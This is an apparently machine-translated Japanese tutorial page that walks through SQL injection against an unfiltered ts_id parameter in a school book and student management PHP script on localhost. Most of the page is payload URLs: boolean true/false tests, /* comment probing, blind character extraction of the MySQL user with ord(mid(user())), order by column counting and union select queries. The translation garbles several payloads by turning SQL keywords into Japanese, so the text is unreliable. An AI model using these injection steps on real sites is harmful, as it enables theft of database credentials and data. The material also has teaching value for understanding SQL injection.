ホームページ >バックエンド開発 >PHPチュートリアル >簡単な PHP インジェクションのデモンストレーション_PHP チュートリアル

簡単な PHP インジェクションのデモンストレーション_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:08:501076ブラウズ

学校の外部教師が書いたプログラム、本+生徒管理システム、ファイル名 001.php、002.php、003.php…(Bにちなんで命名) 問題は004.phpの行です、私も忘れてました,
< ;/a> 本のタイトル:
この文に注目してください
、ts_id にはフィルタリングがなく、裸で私たちが悪用するのを待っています、HOO~ (データベース内の情報はすべて知っていますが、ここではブラック ボックスでテストしたいと思っています)
それでは始めましょう~
http://localhost/zhd/004.php?ts_id=1と1=1正常
http://localhost/zhd/004.php?ts_id=1と1=2異常
馬鹿注入
判定データベース:
http://localhost/zhd/004.php?ts_id=1/*fenggou を送信します
通常、データベースが /* コメントをサポートしていることを示します。どのデータベースが /* をサポートしているかを示します。マイSQL!
ユーザー名を読み取ります:
http://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1,1))=114/* を送信します
通常どおりに戻ります、user() は MYSQL です-in 関数はユーザーを表示するために使用されます。はい、114 は ACCSLL の「r」です。つまり、このステートメントは true です (このトリックを教えてください)。ユーザー名はrijncですが、騙されていませんか?したがって、
http://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1,1))=111/* を送信するときは、
http://localhost/zhd/004.php ?ts_id=1 および ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 および ord(mid(user(),1, 1))=116/* t
しかし、パスワードが rootrijnc なら、私は言葉を失います...
フィールドの数を判断します:
http://localhost/zhd/004.php?ts_id=1 の順序を 10 ずつ送信します/*
Failed, description フィールドの数が 10 未満の場合、ステートメント 7 が確立されるまで試行を続けます。これは、将来の結合クエリに非常に便利です。最初の 5 つです。 、次に 10、次に 15 と、範囲を少し狭めます。
ユニオン クエリ:
フィールドの数がわかったら、それを http://localhost/zhd/004.php?ts_id=1 Union select 1 に直接送信します。 ,2,3,4,5,6,7/*
普通に戻り、ユニオンがサポートされていることを示します。ステートメントを変更し、and 1=2 を使用してエラーを表示させます。へへ~~~
http://を送信しますlocalhost/zhd/004.php?ts_id=1 および 1=2 結合選択 1,2,3,4 ,5,6,7/*

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/629814.html技術記事学校の外部教師が書いたプログラム、書籍+生徒管理システム、ファイル名 001.php、002.php、003.php... (Bにちなんで命名) 問題は004.phpの行です、私も忘れていました、td幅=118行...